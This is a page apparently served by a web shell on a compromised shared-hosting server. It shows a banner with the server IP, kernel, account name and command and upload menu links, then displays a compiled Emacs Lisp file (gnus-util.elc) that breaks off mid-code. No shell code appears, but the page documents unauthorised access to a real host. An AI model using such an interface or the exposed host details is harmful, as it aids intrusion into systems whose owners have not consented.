Server IP : 111.118.215.189 / Your IP : 18.117.158.174 Web Server : Apache System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : a1673wkz ( 2475) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /usr/share/emacs/24.3/lisp/gnus/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
;ELC ;;; Compiled by mockbuild@buildfarm06-new.corp.cloudlinux.com on Fri Oct 11 10:10:09 2024 ;;; from file /builddir/build/BUILD/emacs-24.3/lisp/gnus/gnus-util.el ;;; in Emacs version 24.3.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. ;;; This file does not contain utf-8 non-ASCII characters, ;;; and so can be loaded in Emacs versions earlier than 23. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (byte-code "\300\301!\204 \302\301\303\304B\"\210\305\306!\210\307\310\311\312\313\314\315\316\317\320\321\322BB& \210\307\323\324\325\313\314\315\316\317\326& \210\327\330\331\"\210\327\332\333\"\210\327\334\333\"\210\327\335\336\"\210\300\337!\203Q \302\340\341\"\210\202\\ \300\342!\203\\ \302\340\342\"\210\300\207" [fboundp declare-function defalias macro #[(&rest r) "\300\207" [nil] 1] require time-date custom-declare-variable gnus-completing-read-function 'gnus-emacs-completing-read "Function use to do completing read." :version "24.1" :group gnus-meta :type radio (function-item :doc "Use Emacs standard `completing-read' function." gnus-emacs-completing-read) ((function-item :doc "Use `ido-completing-read' function." gnus-ido-completing-read) (function-item :doc "Use iswitchb based completing-read function." gnus-iswitchb-completing-read)) gnus-completion-styles (if (and (boundp 'completion-styles-alist) (boundp 'completion-styles)) (append (when (and (assq 'substring completion-styles-alist) (not (memq 'substring completion-styles))) (list 'substring)) completion-styles) nil) "Value of `completion-styles' to use when completing." list autoload gnus-get-buffer-window "gnus-win" nnheader-narrow-to-headers "nnheader" nnheader-replace-chars-in-string mail-header-remove-comments "mail-parse" replace-regexp-in-string gnus-replace-in-string #[(string regexp newtext &optional literal) "\304 \n\305%\207" [regexp newtext string literal replace-regexp-in-string nil] 6 "Replace all matches for REGEXP with NEWTEXT in STRING.\nIf LITERAL is non-nil, insert NEWTEXT literally. Return a new\nstring containing the replacements.\n\nThis is a compatibility function for different Emacsen."] replace-in-string] 12) #@50 Return non-nil if VARIABLE is bound and non-nil. (defalias 'gnus-boundp #[(variable) "\301!\205 J\207" [variable boundp] 2 (#$ . 2289)]) #@72 Pop to BUFFER, evaluate FORMS, and then return to the original window. (defalias 'gnus-eval-in-buffer-window '(macro . #[(buffer &rest forms) "\305\306!\305\307!\305\310!\311\n\312BD \313\314BBDE\315\316\317 \316\320 D\321\322 DDE\323DF\fBB\320\nDEE+\207" [buf w tempvar buffer forms make-symbol "GnusStartBufferWindow" "w" "buf" let* ((selected-window)) gnus-get-buffer-window ('visible) unwind-protect progn if select-window set-buffer window-buffer pop-to-buffer] 11 (#$ . 2435)])) (byte-code "\300\301\302\303#\210\300\301\304\305#\207" [put gnus-eval-in-buffer-window lisp-indent-function 1 edebug-form-spec (form body)] 4) #@54 Get hash value. Arguments are STRING and HASHTABLE. (defalias 'gnus-intern-safe '(macro . #[(string hashtable) "\302\303\304 EDC\305BB\207" [string hashtable let symbol intern ((or (boundp symbol) (set symbol nil)) symbol)] 5 (#$ . 3077)])) (defalias 'gnus-goto-char #[(point) "\205 b\207" [point] 1]) (put 'gnus-goto-char 'byte-optimizer 'byte-compile-inline-expand) (defalias 'gnus-buffer-exists-p '(macro . #[(buffer) "\301\300DC\302BB\207" [buffer let ((when buffer (funcall (if (stringp buffer) 'get-buffer 'buffer-name) buffer)))] 3])) (defalias 'gnus-make-local-hook 'ignore) #@72 Delete by side effect the first occurrence of ELT as a member of LIST. (defalias 'gnus-delete-first #[(elt list) "@ \232\203\n A\207A\203# \211A@) \232\204# A\211\202 A\2031 \211\211AA)\241\210\n)\207" [list elt total x] 3 (#$ . 3672)]) (defalias 'gnus-delete-line '(macro . #[(&optional n) "\301\302\303\304\206 \305D\306BBE\207" [n delete-region (point-at-bol) progn forward-line 1 ((point))] 5])) #@285 Extract address components from a From header. Given an RFC-822 address FROM, extract full name and canonical address. Returns a list of the form (FULL-NAME CANONICAL-ADDRESS). Much more simple solution than `mail-extract-address-components', which works much better, but is slower. (defalias 'gnus-extract-address-components #[(from) "\303\211\304\305\n\"\203 \n\306\224\306\225O\202# \304\307\n\"\203# \n\310\224\310\225O\203K \304\311\312!\313Q\n\"\203K \n\310\211\224O\211\203K \304\314 \"\203K \306\310\225SO \204 \304\315\n\"\203c \n\310\224T\310\225SO\211\204 \304\316\n\"\203p \211\204 \304\317\n\"\203 \n\310\224T\310\225O \320\230?\205\207 \206\214 \n*D\207" [address name from nil string-match "<\\([^@ <>]+[!@][^@ <>]+\\)>" 1 "\\b[^@ <>]+[!@][^@ <>]+\\b" 0 "[ ]*<" regexp-quote ">" "^\".*\"$" "(.+)" "()" "(.*" ""] 4 (#$ . 4094)]) #@58 Return the value of the header FIELD of current article. (defalias 'gnus-fetch-field #[(field) "\302\303!\210\212\214\304\305 \210\306 !+\207" [inhibit-point-motion-hooks field require message t nnheader-narrow-to-headers message-fetch-field] 2 (#$ . 4969)]) #@63 Fetch FIELD from the original version of the current article. (defalias 'gnus-fetch-original-field #[(field) "rq\210\302 !)\207" [gnus-original-article-buffer field gnus-fetch-field] 2 (#$ . 5235)]) (defalias 'gnus-goto-colon #[nil "\301 \210\302 \303`\304\305$\206 \306\307\305#\206 `b)\207" [eol beginning-of-line point-at-eol text-property-any gnus-position t search-forward ":"] 5]) (defalias 'gnus-decode-newsgroups #[(newsgroups group &optional method) "\303\304!\210\206 \305 !\306\307\310\n!\311#)\207" [method group newsgroups require gnus-group gnus-find-method-for-group mapconcat #[(group) "\302\303 \"\"\207" [group method gnus-group-name-decode gnus-group-name-charset] 5] message-tokenize-header ","] 4]) #@64 Delete all text in the current buffer with text property PROP. (defalias 'gnus-remove-text-with-property #[(prop) "e\303\304 \n\"\204 \305 \n\" \2051 \306 d\n\303$ \206! d|\210\205+ \305 \n\"\211\204 \303*\207" [end start prop nil get-text-property next-single-property-change text-property-any] 6 (#$ . 5972)]) #@64 Return a list of text property regions that has property PROP. (defalias 'gnus-find-text-property-region #[(start end prop) "\305\211\306\n\"\204 \307\n\"\n\203F \306\n\"\310\nd$\211\204* \305\211\202 \203= \311 \n\305\223\311 \f\305\223E B\307\n\"\211\204 \237*\207" [value regions start prop end nil get-text-property next-single-property-change text-property-not-all make-marker] 6 (#$ . 6299)]) #@55 Make hierarchical directory name from NEWSGROUP name. (defalias 'gnus-newsgroup-directory-form #[(newsgroup) "\302!\303\304\"\211\205 \305 O \205 \306\307 \203# T\310O\202$ \311\312#Q*\207" [newsgroup idx gnus-newsgroup-savable-name string-match ":" 0 "/" nnheader-replace-chars-in-string nil 46 47] 7 (#$ . 6724)]) (defalias 'gnus-newsgroup-savable-name #[(group) "\301\302\303#\207" [group nnheader-replace-chars-in-string 47 46] 4]) (defalias 'gnus-string> #[(s1 s2) " \231\206 \230?\207" [s1 s2] 2]) #@198 Return t if first arg string is less than second in lexicographic order. Case is significant if and only if `case-fold-search' is nil. Symbols are also allowed; their print names are used instead. (defalias 'gnus-string< #[(s1 s2) "\203 9\203 \303 !\202 \227\n9\203 \303\n!\202 \n\227\231\207 \n\231\207" [case-fold-search s1 s2 symbol-name] 3 (#$ . 7250)]) (defalias 'gnus-file-newer-than #[(file date) "\303\304!8\211@\n@V\206 @\n@U\205 A@\nA@V)\207" [file fdate date 5 file-attributes] 4]) (defalias 'gnus-float-time 'float-time) #@46 Set the keys in PLIST in the current keymap. (defalias 'gnus-local-set-keys '(macro . #[(&rest plist) "\301\302\303DE\207" [plist gnus-define-keys-1 (current-local-map) quote] 4 (#$ . 7803)])) #@37 Define all keys in PLIST in KEYMAP. (defalias 'gnus-define-keys '(macro . #[(keymap &rest plist) "\302\303D\303 DE\207" [keymap plist gnus-define-keys-1 quote] 4 (#$ . 8003)])) #@78 Define all keys in PLIST in KEYMAP without overwriting previous definitions. (defalias 'gnus-define-keys-safe '(macro . #[(keymap &rest plist) "\302\303D\303 D\304BBB\207" [keymap plist gnus-define-keys-1 quote (t)] 4 (#$ . 8187)])) (byte-code "\300\301\302\303#\210\300\304\302\303#\210\300\305\302\303#\207" [put gnus-define-keys lisp-indent-function 1 gnus-define-keys-safe gnus-local-set-keys] 4) #@37 Define all keys in PLIST in KEYMAP. (defalias 'gnus-define-keymap '(macro . #[(keymap &rest plist) "\302\303 DE\207" [keymap plist gnus-define-keys-1 quote] 4 (#$ . 8595)])) (put 'gnus-define-keymap 'lisp-indent-function 1) (defalias 'gnus-define-keys-1 #[(keymap plist &optional safe) "\204 \305\306!\2109\203 J\202<